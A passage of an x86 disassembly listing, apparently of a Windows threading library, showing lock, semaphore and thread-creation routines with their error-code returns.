		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3DC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3DC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9A0
		call	near ptr 7C901005h
		nop
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3E4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3E0
		mov	dword_50E3E4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3E0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9A0
		call	near ptr 7C901005h
		nop
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3E0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3E0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3E4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3E4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		call	near ptr 28E0000h
		nop


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
